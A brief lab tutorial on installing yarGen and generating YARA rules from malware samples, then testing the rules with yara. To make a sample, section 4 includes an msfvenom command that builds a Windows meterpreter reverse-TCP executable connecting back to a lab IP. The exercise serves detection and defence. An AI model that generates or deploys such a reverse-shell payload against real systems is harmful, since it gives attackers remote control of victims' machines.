yarGen
1. Introduction
yarGen is a generator for YARA rules The main principle is the creation of yara rules from strings found in malware files while removing all strings that also appear in goodware files. Therefore yarGen includes a big goodware strings and opcode database as ZIP archives that have to be extracted before the first use.
Goal of this exercise is to install and use yargen to create automated yara rules
2. Installation
Please download yarGen.py using the commands below.
cd /home/hacker
git clone https://github.com/Neo23x0/yarGen.git
cd /home/hacker/yarGen
chmod +x ./yarGen.py
Install dependencies
cd /home/hacker/yarGen
pip install -r requirements.txt
3. Update yargen database
cd /home/hacker/yarGen
./yarGen.py --update
4. Create maliscious binary
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.71.164 LPORT=443 -f exe -o malisciousfile.exe
mkdir -p /tmp/malware
cp malisciousfile.exe /tmp/malware
./yarGen.py -m /tmp/malware
This will generate a yargen_rules.yar file in the current directory.
Let's test it:
yara -w -r ./yargen_rules.yar /tmp/malware
Last updated
Was this helpful?